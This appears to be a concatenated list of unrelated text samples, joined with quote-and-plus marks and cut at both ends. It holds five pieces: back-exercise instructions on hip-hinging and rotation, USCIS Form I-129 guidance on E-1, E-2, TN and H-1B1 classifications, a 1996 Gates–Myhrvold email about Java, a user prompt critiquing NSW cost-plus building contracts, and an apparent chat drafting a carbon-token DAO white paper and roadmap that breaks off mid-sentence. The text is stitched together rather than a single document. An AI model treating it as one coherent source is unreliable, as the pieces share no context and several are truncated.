your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.\n\nStep 5: Pivot the inside foot (left foot, in this case) as you turn.\nStep 6: After initiating the rotation, start to hinge at the hips, bending forward. Remember not to round your back. \n\nStep 7: Go only as low and as far to the right as you can without twisting at the waist or rounding your low back. You will now be in a squat/split squat position.\n\nStep 8: Reach out with your arms as if you were picking something up off of the floor. \n\nStep 9: Bring the arms back in and re-center your weight over your buttocks and feet. \nStep 10: Using your glutes, lift yourself out of the lowered position, pushing with your right glutes as you rotate back to midline while hinging back up through the hips. \n\nStep 11: As you swing past midline (without twisting at the waist!), pivot your right foot, continuing to use the right glutes, and extend your arms up toward the ceiling as if you were putting something on a shelf. \nStep 12: Return to the starting position without twisting at the waist. Try this in front of a mirror several times. \nStep 13: Then try this movement on the opposite side of your body. \nTROUBLESHOOTING\n• Knee pain: If your knees hurt as you start to rotate the torso, be lighter on your feet. Allow the feet to pivot a little bit. If the knees hurt when you are hinged forward at the bottom of the movement, drop your buttocks back more so that you are in a squat position (think of a baseball catcher) and lessen your range of motion. Try doing small movements and increase your range of motion gradually.\n• Back pain: If your back hurts with this one, it is likely you are twisting at the waist, rounding the back, or don’t have the gluteal strength yet to perform this movement to its full range of motion. Do a little investigating: Can you hip-hinge without pain? If so, that’s not the issue. Can you do the torso rotation without pain? Can you squat without pain? If you can do all three without pain then it is likely you are having difficulty putting all of these moves together without sacrificing form on one of them. Try doing this movement in very small pieces in front of a mirror or loved one, and gradually increase your range of motion over time. If any one piece causes pain, work on that one until you can do it pain-free, and then come back and try this movement again. \nRemember, these movements must become habits. That sounds daunting but it really isn’t that hard. Once your back starts to feel better, it will let you know when you move the wrong way and you’ll avoid that at all costs.' +'Part 2. Petition Only Required for an Alien in the United States to Change Status or Extend Stay\nThe following classifications listed in this Part 2. do not require a petition for new employment if the alien is outside the\nUnited States.\nUse this Form I-129 when the beneficiary is physically present in the United States and a change of status, concurrent\nemployment, or an extension of stay is needed. Note: The beneficiary must be maintaining lawful status in the United\nStates to remain eligible for the benefit sought.\nE-1 Nonimmigrants\nThe E-1 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation, and\nwho are coming to the United States to carry on substantial trade principally between the United States and the\nalien’s country of nationality. The Department of State maintains a list of countries with qualifying treaties. See\nhttps://travel.state.gov/content/visas/en/fees/treaty.html for a list of qualifying countries.\nWrite E-1 in the classification block.\nQualifying trade involves the commercial exchange of goods or services in the international market place. Substantial\ntrade is an amount of trade sufficient to ensure continuous flow of international trade items between the United States and\nthe treaty country. Principal trade exists when more than 50 percent of the E-1’s total volume of international trade is\nconducted between United States and the treaty country.\nAn employee of an E-1 treaty trader who possesses the same nationality as the E-1 employer may also be classified as E-1.\nThe employee must principally and primarily perform executive or supervisory duties or possess special qualifications that\nare essential to the successful or efficient operation of the enterprise. The E-1 employee may perform work for the parent\ntreaty organization or enterprise, or any subsidiary of the parent organization or enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-1 treaty trader. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial Trade. Evidence of substantial trade may include, but is not limited to, copies of three or more of the\nfollowing: bills of lading, customs receipts, letter of credit, trade brochures, purchase orders, insurance papers,\ndocumenting commodities imported, carrier inventories, and/or sales contracts, or other probative documentation\nestablishing the requisite substantial trade; and\n3. For E-1 employees only: Executive or Supervisory Duties or special qualification essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nE-2 Nonimmigrants\nThe E-2 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation,\nand who are coming to the United States to develop and direct the operations of an enterprise in which the alien\nhas invested or is actively in the process of investing a substantial amount of capital. The Department of State\nmaintains a list of countries with qualifying treaties. See https://travel.state.gov/content/visas/en/fees/treaty.html\nfor a list of qualifying countries.\nWrite E-2 in the classification block.\nAn E-2 must demonstrate possession and control of capital and the ability to develop and direct the investment enterprise\nand the ability to develop and direct the investment enterprise. Capital in the process of being invested or that has been\ninvested must be placed at risk and be irrevocably committed to the enterprise. The enterprise must be a real, active, and\noperating commercial or entrepreneurial undertaking that produces services or goods for profit. The investment must be\nsubstantial and the funds must not have been obtained, directly or indirectly, from criminal activity. The enterprise must\nbe more than marginal.\nForm I-129 Instructions 11/02/22 Page 24 of 30\nAn employee of an E-2 who possesses the same nationality as the E-2 employer may also be classified as E-2. The\nemployee must principally and primarily perform executive or supervisory duties or possess special qualifications that are\nessential to the successful or efficient operation of the enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-2 treaty investor. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial investment. Such evidence may include, but is not limited to, copies of partnership agreements (with a\nstatement on proportionate ownership), articles of incorporation, payments for the rental of business premises or office\nequipment, business licenses, stock certificates, office inventories (goods and equipment purchased for the business),\ninsurance appraisals, annual reports, net worth statements from certified profession accountants, advertising invoices,\nbusiness bank accounts containing funds for routine operations, funds held in escrow; and\n3. For E-2 employees only: Executive or Supervisory Duties or special qualifications essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nAdvice on E-1 and E-2 petitions\nYou must obtain approval from USCIS when substantive changes occur in the terms or conditions of the status of the\ntreaty trader, investor, or E employee. To do this, file Form I-129 and E-1/E-2 Classification Supplement, with fee, and\nrequest an extension of stay.\nYou may seek advice from USCIS to determine whether changes in the terms or conditions in E status are substantive.\nTo obtain advice, file Form I-129 and E-1/E-2 Classification Supplement, with fee. Answer “Yes” to the question on the\nSupplement which asks whether you are seeking advice.\nFree Trade Nonimmigrants (H-1B1 and TNs)\nThe Free Trade Nonimmigrant classifications (H-1B1 and TN) are temporary nonimmigrant classifications based on the\nprovisions of a Free Trade Agreement between the United States and the alien’s country of citizenship. Currently there are\ntwo stand-alone Free Trade Nonimmigrant classifications available: TN and H-1B1.\nThe TN nonimmigrant classification is for aliens who are citizens of Canada or Mexico covered by the North\nAmerican Free Trade Agreement coming to the United States to engage temporarily in business activities at a\nprofessional level. Depending on the specific type of business activity, a TN must at least have a bachelor’s degree\nor, in certain limited instances, other appropriate credentials which demonstrate status as a professional. The\nacceptable types of TN business activities at a professional level are listed at 8 CFR 214.6(c).\nWrite TN in the classification block.\nDocumentary evidence must be submitted if the applicant is a citizen of Canada and is currently outside the United States\nOR if the applicant is a citizen of Canada or Mexico and is requesting a “Change of Status” to TN. The applicant must\nsubmit evidence demonstrating that he or she will be engaged in business activities at a professional level and that the\napplicant possesses the requisite professional qualifications. Acceptable evidence may include, but is not limited to, the\nfollowing:\n1. A letter from the employer stating the activity the beneficiary will be engaged in, the anticipated length of stay, and\nthe arrangements for remuneration;\n2. A copy of the beneficiary’s last two pay stubs and W-2 if employed in the United States; and\n3. Evidence the beneficiary meets the educational and/or licensing requirements for the profession or occupation.\nNOTE: While a petition is not required, citizens of Canada who are outside the United States may use this form to apply\nfor TN status.\nIf the applicant is a citizen of Canada or Mexico and is requesting an “Extension of Stay” in TN classification, submit\nevidence, such as a letter, describing the continuing employment and evidence of the beneficiary’s continued valid\nlicensing (if required by the profession and/or the state).\nForm I-129 Instructions 11/02/22 Page 25 of 30\nThe H-1B1 classification is for aliens from Chile or Singapore coming to the United States temporarily to perform\nservices in a specialty occupation. See the instructions for H-1B nonimmigrants for the definition of “specialty\noccupation.”\nWrite H-1B1 in the classification block.\nSubmit all evidence listed in the H Classification Supplement to Form I-129 under Section 1., Complete This Section If\nFiling for H-1B Classification, as well as evidence listed in the section of the instructions for H-1B specialty occupation\nclassification. The following supplements must be filed with the petition:\n1. Nonimmigrant Classification Based on a Trade Agreement Supplement; and\n2. H Classification Supplement; and\n3. H-1B Data Collection and Filing Fee Exemption Supplement.\nIf requesting an “Extension of Stay,” submit evidence, such as a letter describing the continuing employment, as well\nas evidence of the beneficiary’s continued valid licensing (if required by the profession and/or the state). Also, if this\nextension is the 6th consecutive extension requested for this beneficiary, a statement to that effect should be provided.\nChange of Status\nA petition for change of status to one of the classifications described in this section must be submitted with the initial\nevidence detailed above and with the initial evidence required by the separate instructions for all petitions involving\nchange of status.\nExtension of Stay\nA petition requesting an extension of stay for an employee in the United States must be filed with a copy of the\nbeneficiary’s Form I-94, Nonimmigrant Arrival/Departure Record, and a letter from the petitioner explaining the reasons\nfor the extension. Consult the regulations that relate to the specific nonimmigrant classification sought.\nNOTE: Dependent family members should use Form I-539 to file for an extension of stay.\nA nonimmigrant who must have a passport to be admitted must maintain a valid passport during his or her entire stay. If\na required passport is not valid, include a full explanation with your petition. A petition requesting an extension must be\nfiled with:\n1. The appropriate supplements for the classification;\n2. A letter describing the proffered employment;\n3. A copy of the beneficiary’s last 2 pay stubs and most recent W-2, if applicable;\n4. Evidence the beneficiary continues to meet the licensing requirements for the profession or occupation, if applicable;\n5. If requesting an extension of H-1B status (including H1B1 Chile/Singapore), evidence that the Department of Labor\nhas certified a labor condition application for the specialty occupation which is valid for the period of time requested;\n6. If requesting H-2A status, submit a U.S. Department of Labor approved temporary labor certification valid for\nthe dates of the extension, unless it is based on a continuation of previously approved employment due to exigent\ncircumstances and the extension will last no longer than 2 weeks;\n7. If requesting H-2B status, submit a U.S. Department of Labor approved temporary labor certification valid for the\ndates of extension.' +'From: Bill Gates\nSent: Monday, September 30, 1996 9:36 PM\nTo: Nathan Myhrvold\nCc: Aaron Contorer\nSubject: Java runtime becomes the operating system\n\nI am worry a lot about how great Java/Javabeans and all the runtime work they are doing is and how much excitement this is generating. I am literally losing sleep over this issue since together with a move to more server based applications it seems like it could make it easy for people to do competitive operating systems.\n\nI am very interested to get your thoughts on this. Prior to the advanced work you are driving what kind of defenses do we have against this? I certainly havent\' come up with enough to relax about the situation and it is undermining my creativity.\nFrom: Nathan Myhrvold\nSent: Tuesday, October 01, 1996 12:05 PM\nTo: Bill Gates\nCc: Aaron Contorer\nSubject: RE: Java runtime becomes the operating system\n\nI agree that this is a dilemma, but I don\'t think that it is severe enough that you should lose sleep over it. Here are some quick thoughts on the matter - I will put more time in on it also.\n\nFirst, the excitement is overblown - at least from a \\*business\\* perspective. At the moment Java is expanding into a vacuum. It allows you to make cool web pages, and that is a very attractive thing for people. It gives programmers something new to learn, book people something new to sell books on, software tool companies a way to issue new development tools etc.\n\nAs you and know very well, this sort of widespread interest can become a self fullfilling phenomenon, because programmer attention creates programs. Some of these will be successful and that only fuels more participation in the phenomenon. However, at the same time you must keep something of a balanced perspective.\n\nI think that the risk of Sun really taking the OS franchise away from us is much lower than the risk that they cheapen the entire business. They are so hell bent to give things away, and there is so much cross platform ferver that it will be hard for them or others to harness this energy toward a single platform In the limit, they can make the web totally OS agnostic - but there will still be other things that motivate one platform versus another.\n\nIn the very long run they could make it more and more difficult for us to keep up and thus even though the world is cross platform, we have more baggage, worse implementation and can\'t keep up. This is NOT going to happen quickly however - we will get several more swings at them\n\nThe new Java applications are NOT credible threats to traditional PC software any time soon. It is just insanity to think that they are. New things are NEVER a threat to the old world as soon as people say. Look at the mainframe vs PC. It has taken us TWO DECADES and even after all that IBM still has billions in mainframe revenue. Cool new technology always expands rapidly into NEW areas (where there is a vacuum). Pundits always say that this is going to kill the old businesses - eventually that happens but not anywhere near as soon as they say.\n\nIt is a new and uncomfortable feeling to be the incumbent rather than the challenger in one of these battles. However, we must not panic. The current perceptual battle is a long way distant from actual business and revenue issues, and we can\'t let the perceptual issues cloud our thinking too much.\n\nThis is not to say that Java is unimportant It is VERY important (just don\'t lose sleep!) I think that you are focusing on the wrong \\*kind\\* of threat. We are in danger of losing a new market which will grow at a pace which is very rapid indeed. This would be a tradegy to have happen to us, but it is different than a direct assult on our core asset, and our response must also be different.\n\nThe obvious things to do are:\n\n1 Provide our own means of dramatically improving web pages.\n\n- Continue to "embrace and extend" - both at the level of new Java tools (like J++), and our broader browser strategy.\n\n- Create some radical new approaches to improving web pages, or building web applications. I think that it is a big mistake to put all of our eggs in the "embrace and extend" basket. This thinking will lead us down the path to renounce any really interesting edge we could have. Over reliance on "embrace and extend" can lead to what I sometimes call the relentless drive to come in second, which does not help much in a winner take all world.\n\nNote that by "radical" I mean more in concept than in technology - i.e. NOT speech or other really hard stuff. Java is pathetic technology. We do not need high tech here - we need some technology but mainly creativity in how we look at it.\n\n2. Pioneer other means to participate in the new market. It is very rare that there is only one asset that matters. Hell, look at Netscape and Sun - each have an interesting asset, and this is still the EARLY stages of the net. There will be other technologies which matter and we should try to own one of them, even if it is in a totally different direction.\n\nThe key thing is to come up with something which will be buoyed up by the rising Internet tide Again, this need not be some super hard technical problem - it is more about being creative and finding an opportunity. Here are some examples (none perfect).\n\n- Virtual worlds could be such a thing.\n\n- New ways of doing server apps, or doing net transactions (a la Viper) could be such a thing.\n\nI don\'t have as many examples here as I would like, but I am pretty sure that we could come up with some things if we really focussed on this area.\n\n3. Continue to invest in our core business assets - in this case the Windows runtime. 99% of worldwide software revenue is still based on Windows apps, and way more than 100% of profits. If we let Windows decline in its non-web attributes then we will REALLY will be up shit creek. I fear that the overexcitement in the web, and the misunderstanding that our core business is only indirectly under attack means that our current course and speed neglects our best avenue to comete.\n\nWe need Windows to be the most compelling platform for users to choose Ideally this means that we win in every category. You are worried that we will only tie in the Java category because Javabeans and other runtime work will make cross platform really work well. I say we should try to tie (or win) with embrace and extend in the Java world. HOWEVER while doing this we MUST NOT allow Windows to lose in the other, non-web dimensions that are important to users selecting systems! There is more to a user\'s system choice than just the Web - and it is in those areas where we have a big advantage.\n\nPut another way - suppose that Java is totally successful and totally cross platform - then why should people choose one system versus another? It will all hinge on other areas.\n\nHere are some examples:\n\n- We need to be the LEADER in multimedia - this means doing very cool audio and video. We want to lead with DVD and make it easy to . We must be the best platform for games (better than Ultra64 or Playstation). We want to be the best platform for graphics/video/audio authoring (better than SGI or Mac).\n\n- Prevent barriers from coming up in ease of use. PCs must be instant on, they must go beyond plug and play to be even more self configuring, they must be self diagnosing. There is no technical reason why a PC shouldn\'t be the best possible user experience - better than those hypothetical web terminals. However, this takes WORK to make it happen It will take those web terminal guys some work too, but in our case there is a certain amount of baggage which will cause extra work for us, but will result in extra reward too. It is critical that we do this.\n\n- Leverage the web to provide dramatic new functionality for old applications. The key example here is the "My Workspace" notion of totally abstracting storage on the net. This would be a dramatic change for users - storage abstractions are one of the hardest things to use in current PCs and we can make this all go away. If we do this based on STORAGE (i.e. file system APIs) it can short circuit the longer term move to distribution based on other APIs or protocols -- storage gets you most of the benefit.\n\nI am frankly worried that we are not doing enough in this area because we have over-focused on the web We need end user focused people to really make our system great. We are handicapped by the fact that we also need to do an implementation technology shift (to NT) and a cultural/personnel shift (to Allchin\'s group which has historically focussed more on underlying technology than on end user stuff).\n\nThis is a big challenge to do these shifts AND keep the platform vital. The analogy with Apple is frightening. They pissed away their creativity on non-Mac things (Kaleida, Sweet Pea/Pippin, Taligent, Newton ...), and they tied up their Mac team with a technology shift (to Power PC). The analogy is unfair because the web work that Siverberg and Ludwig have been doing is much more relevant than what Apple did. However I still am worried that we are not making enough investment in our core asset. The good news is that we do have plenty of people we can focus on these problems, and if we do we can create some end user value that will be hard for anybody else to match.\n\n------------------------------------------\n\nI am not sure whether I managed to make you less worried or more worried. I think that this is a serious problem, but I think that we have more options than you may think - particularly with 2 and 3 above.\n\nNathan' +'This is part 5 of my multiple messages. I will continue to send you further messages. If you understand then please limit your response to "acknowledged". \nBackground\n\n \n\nDefinition of a Cost Plus Contract\n\nA Cost Plus contract is one where, under it, the parties agree that the builder is to be paid the cost of the work done plus a profit percentage.\n\n \n\nIn any home building project there are going to be risks. The question arises who is going to bear a given risk? The building contract acts as a formula for allocating those risks between the parties.\n\n \n\nThe golden rule of contractual risk allocation should be that party who should bear the risk of an event occurring is the party who is in the best position to avoid that event occurring.\n\n \n\nThe Reasons the Industry Standard Form Contracts Are Unacceptable\n\n \n\nThe two cost plus contracts most in use in New South Wales are:\n\n \n\nThe Master Builders Association CPC Residential Cost Plus Contract\n\nThe Housing Industry Association Cost Plus Contract\n\n \n\nIn every important respect, these Cost Plus contracts breach the golden rule of contractual risk allocation.\n\n \n\nThe major risks that arise in a home building contract are:\n\n \n\n (a) the risk that the builder may have underestimated his costs and underpriced the job,\n\n \n\n \n\n(b) the risk that the work may not be completed in the time provided for in the contract\n\n \n\n(c) the risk that the work may be defective and require expensive rectification\n\n \n\n(d) the risk that the work will not conform to the plans or specifications.\n\n \n\nYou need to look at the contracts to see how they deal with these risks.\n\n \n\nMASTER BUILDERS ASSOCIATION COST PLUS CONTRACT CPC RESIDENTIAL\n\n \n\nThe Risk That the Builder May Have Underestimated His Costs and Underpriced the Job\n\n \n\nA Cost Plus contract is usually preceded by an "estimate" of the costs of the works. That estimate is produced by the builder. In my experience this "estimate" is seldom, if ever, included in the contract. That "estimate" is usually a very low one. Often the builder tenders to do the work for a much higher fixed‑price contract and persuades the owners to enter into the Cost Plus contract on the basis that "it will be much cheaper this way."\n\n \n\nSchedule 1 of the Master Builders Association Cost Plus Contract provides that, among the costs which the builder is entitled to claim are:\n\n \n\no all wages and other entitlements payable to the builder\'s employees or payable by reason of such employment...\n\no the builder\'s own work....,\n\no costs of any services ....\n\no costs of all trade contractors.....\n\no cost of hired equipment ....\n\no cost for the use of plant and equipment belonging to the builder....\n\no the cost of correcting modifying or changing work already completed, which is changed by reason of a variation by the Owner, all which is defective or reasons other than due to materials provided by the Builder or the workmanship of the Builder.\n\no the cost of complying with any site specific issues such as safety and pollution and waste disposal......\n\no any other costs or expenses which the builder is liable for or incurs by reason of\n\n carrying out the work including insurance costs......\n\n \n\n \n\nThe essential thing to realise is that every one of these costs, which could be greater or lesser according to the approach and conduct of the builder, will not be borne by the builder. Indeed if the builder is careless and, as a result, these costs increase, the builder will be rewarded for his carelessness by an equivalent increase in his profit, as any increase in the cost of the works is going to increase what he is paid as a percentage of that cost. The structure of the contract is also almost an invitation to fraud in that the builder can exaggerate the hours which he or his employees have spent on the job and unless the owners have someone observing the site at all times, it will be impossible to prove that the hours claimed were not spent on site. I have known of unscrupulous builders arranging for the labour on projects of their own to be entirely paid for by the owners of another site in this way. Even if the builder is not so unscrupulous, he is unlikely to be driving his workers as it is not to his commercial advantage to do so.\n\n \n\nWith respect to the builder\'s optimistic estimates of cost, Clause 3(d) provides that:\n\n \n\n Contract Represents Entire Agreement\n\n \n\n(d) Apart from any terms implied by Statute, the whole of the terms, conditions and warranties of this Contract are set out in the Contract, drawings and specifications (as per Schedule 3) and will not and are not in any way varied or affected by reference to any prior negotiations, stipulations or agreement, whether written or verbal.\n\n \n\nWhat this means is that all the optimistic estimates of costs, and the things that the builder said about the ultimate cost of the works, are not part of the contract.\n\n \n\nThe Risk That the Work May Not Be Completed in the Time Provided for in the Contract\n\n \n\nWith respect to the builder\'s estimates of time, there is no liquidated damages clause in this contract. Although the statutory warranties, which cannot be excluded by contract, give an owner a right to sue if the time taken is greater than the contract time or a reasonable time if no contract time exists, until a court decides that issue, the owner must still pay the builder in full and cannot deduct anything for delays.\n\n \n\nThe Risk That the Work May Be Defective and Require Expensive Rectification\n\n \n\nIf you look at paragraph (g) of Schedule 1 you will see that the Builder, under the Contract, is entitled to recover the whole cost of rectifying defective work even if that defective work was performed by the builder\'s sub contractors or employees under his control. The only exception is where the work was physically performed by the builder himself. With regard to liability for subcontractors, this is an attempt at sidestepping the statutory warranties imposed by section 18B of the Act. Eventually, after consideration by a Court or Tribunal, the clause may fall foul of the prohibition in section 18G, but the drafting gives the builder a considerable bargaining and tactical advantage.\n\n \n\nThe Risk That the Work Will Not Conform to the Plans Or Specifications\n\n \n\n \n\nA careful reading of paragraph (g) of Schedule 1 will show that the builder is in a position to argue that the cost of correcting works which have not been built in accordance with plan must also be borne by the owner even if the failure to comply with plan was the fault of the builder. This is again an attempt at sidestepping the statutory warranties imposed by section 18B of the Act. Eventually, again after consideration by a Court or Tribunal, the clause may fall foul of the prohibition in section 18G, but the drafting gives the builder a considerable bargaining and tactical advantage.\n\n \n\nSummary of the Master Builders Association Cost Plus Contract\n\n \n\nThe Master Builders Association and Cost Plus Contract is a contract in which the builder has absolutely no incentive to complete the work in accordance with the plans, or free of defects, or on budget or on time because he suffers no loss if he fails to do so. Indeed if he goes over budget he profits from it.\n\n \n\nHOUSING INDUSTRY ASSOCIATION COST PLUS CONTRACT\n\n \n\nLet us look at Schedule 2 of the Housing Industry Association Cost Plus Contract.\n\n \n\nThe Risk That the Builder May Have Underestimated His Costs and Underpriced the Job\n\n \n\nIf you carefully read that schedule you will see that it has all of the problems that we discussed in the Master Builders Cost Plus Contract. It is perhaps not as well drafted. Otherwise the only difference between the Housing Industry Association Cost Plus Contract and the Master Builders Association Cost Plus Contract is that in the Housing Industry Association Contract there is no Entire Agreement clause. That was probably just a drafting error.\n\n \n\nThe Risk That the Work May Not Be Completed in the Time Provided for in the Contract\n\n \n\nWith respect to the builder\'s estimates of time, there is again no liquidated damages clause in this contract. Although the statutory warranties give an owner a right to sue if the time taken is greater than the contract time or a reasonable time if no contract time exists, until a court decides that issue, the owner must still pay the builder in full and cannot deduct anything for delays.\n\n \n\nThe Risk That the Work May Be Defective and Require Expensive Rectification\n\n \n\n \n\nIf you look at paragraph (g) of Schedule 1 you will see that essentially the Owners must pay for everything including the cost to rectify defects. There appears to be a drafting error in that it may have been intended in paragraph (g) to exclude, from costs payable by the owner, faulty materials and workmanship the responsibility of the builder when those costs are incurred during the defects liability period. Unfortunately as a result of a drafting or printing error the paragraph was left incomplete and it is not clear what was meant. There is definitely no concession that the builder must bear the costs of rectification of any defects if they are rectified during the construction period of the contract. Again, with regard to liability for defective work, this is an attempt at sidestepping the statutory warranties imposed by section 18B of the Act. Eventually, after consideration by a higher Court, the attempt may fall foul of the prohibition in section 18G, but the drafting gives the builder a considerable bargaining and tactical advantage.\n\n \n\nThe Risk That the Work Will Not Conform to the Plans Or Specifications\n\n \n\nA careful reading of Schedule 1 will show that the builder is in a position to argue that any cost in connection with the works, including the cost of correcting works which have not been built in accordance with plan must also be borne by the owner even if the failure to comply with plan was the fault of the builder.\n\n \n\nThe Victorian or the Queensland Legislation?\n\nI recommend following the Victorian legislation which allows for slightly more freedom of contract than the Queensland legislation and does not have Courts deciding which costs can and cannot be reasonably calculated. The critical thing is to ensure that the builder has an interest in preventing the cost of the work blowing out excessively.' +'section 7:The forward carbon reference tokens are used to offset carbon emissions by supporting sustainable forestry practices.\nThe carbon offset value of the tokens is determined based on data gathered by Skylab\'s tree counting and mapping services, which are used to estimate the amount of carbon that will be offset by the DAO\'s carbon offset projects over a given period of time.\nThe proceeds from the sale of the tokens can be used to support the governance of the DAO and the development of new carbon offset projects.\nToken holders can use their tokens to pay for tree counting services provided by Skylab, which can be used to assess the performance of the carbon offset projects and identify areas for improvement.\nThe DAO\'s governance system allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the tokens will be used.\nOverall, the DAO and its forward carbon reference tokens provide a platform for offsetting carbon emissions through sustainable forestry practices, and offer a convenient and efficient way for token holders to access the services they need to support their carbon offset projects.\ncan you make it longer on more detailed ?\nCertainly! Here is a more detailed white paper summary of the DAO and its forward carbon reference tokens:\nIntroduction:\nThe DAO (Decentralized Autonomous Organization) is a platform that allows users to offset carbon emissions through the support of sustainable forestry practices. The DAO is governed by a decentralized system that allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the tokens will be used.\nToken Economics:\nThe DAO\'s forward carbon reference tokens (FCRTs) are used to offset carbon emissions by supporting sustainable forestry practices. The carbon offset value of the FCRTs is determined based on data gathered by Skylab\'s tree counting and mapping services, which are used to estimate the amount of carbon that will be offset by the DAO\'s carbon offset projects over a given period of time. The proceeds from the sale of the FCRTs can be used to support the governance of the DAO and the development of new carbon offset projects.\nToken Functionality:\nToken holders can use their FCRTs to pay for tree counting services provided by Skylab, which can be used to assess the performance of the carbon offset projects and identify areas for improvement. The FCRTs can also be traded on exchanges, allowing token holders to buy and sell them as needed.\nGovernance:\nThe DAO\'s governance system allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the FCRTs will be used. This allows the DAO to be responsive to the needs and concerns of its token holders, and ensures that the FCRTs are being used effectively to offset carbon emissions and support sustainable forestry practices.\nConclusion:\nThe DAO and its FCRTs provide a convenient and efficient way for users to offset carbon emissions through the support of sustainable forestry practices. By using Skylab\'s tree counting and mapping services, the DAO can accurately assess the carbon offset value of the FCRTs and ensure that they are being used effectively. The DAO\'s decentralized governance system allows token holders to have a say in how the FCRTs are used, ensuring that the platform is responsive to the needs and concerns of its users.\ncan you make me a road map of the project ?\nCertainly! Here is a road map for the DAO and its forward carbon reference tokens:\nDetermine the carbon offset value of the FCRTs: To begin, you will need to determine the carbon offset value of your tokens. You could use Skylab\'s tree counting and mapping services to gather data on tree growth and carbon sequestration, which you could then use to estimate the amount of carbon that will be offset by your carbon offset projects over a given period of time. You could use this information to set the price of your tokens.\nIssue the FCRTs: Once you have determined the carbon offset value of your tokens, you can issue the FCRTs on the blockchain. This could involve creating a smart contract that specifies the number of tokens that will be issued, the carbon offset value of each token, and any other relevant details.\nSet up the DAO: Next, you will need to set up the DAO to manage the FCRTs and make decisions about how they will be used. This could involve creating a decentralized governance system that allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the FCRTs will be used.\nUse Skylab\'s services: You can use Skylab\'s services to perform tree counting for your carbon offset projects. To do this, you could use your FCRTs to pay for the services provided by Skylab.\nUse Skylab\'s data to inform governance decisions: You could use Skylab\'s data to inform governance decisions made by the DAO. For example, you could use the data to assess the performance of your carbon offset projects and determine whether they are meeting their goals. You could also use the data to identify areas for improvement and to guide the development of new carbon offset projects.\nTrade the FCRTs on exchanges: You could also list the FCRTs on exchanges, allowing token holders to buy and sell them as needed. This could help to increase the liquidity of the tokens and make it easier for users to access the services they need to support their carbon offset projects.\nOverall, this road map outlines the key steps involved in setting up and using the DAO and its FCRTs to offset carbon emissions through sustainable forestry practices. By following this road map, you can create a platform\ni needa road map that covers the Dao structure, the token economics, the technology that will be used in full details, the replacement of the Carbon offset certification body ?\nCertainly! Here is a revised road map that covers the DAO structure, the token economics, the technology that will be used, and the replacement of the carbon offset certification body:\nDetermine the carbon offset value of the FCRTs: To begin, you will need to determine the carbon offset value of your tokens. You could use Skylab\'s tree counting and mapping services to gather data on tree growth and carbon sequestration, which you could then use to estimate the amount of carbon that will be offset by your carbon offset projects over a given period of time. You could use this information to set the price of your tokens.\nIssue the FCRTs: Once you have determined the carbon offset value of your tokens, you can issue the FCRTs on the blockchain. This could involve creating a smart contract that specifies the number of tokens that will be issued, the carbon offset value of each token, and any other relevant details.\nSet up the DAO: Next, you will need to set up the DAO to manage the FCRTs and make decisions about how they will be used. This could involve creating a decentralized governance system that allows token holders to vote on proposals and make decisions about how the proceeds from the sale of the FCRTs will be 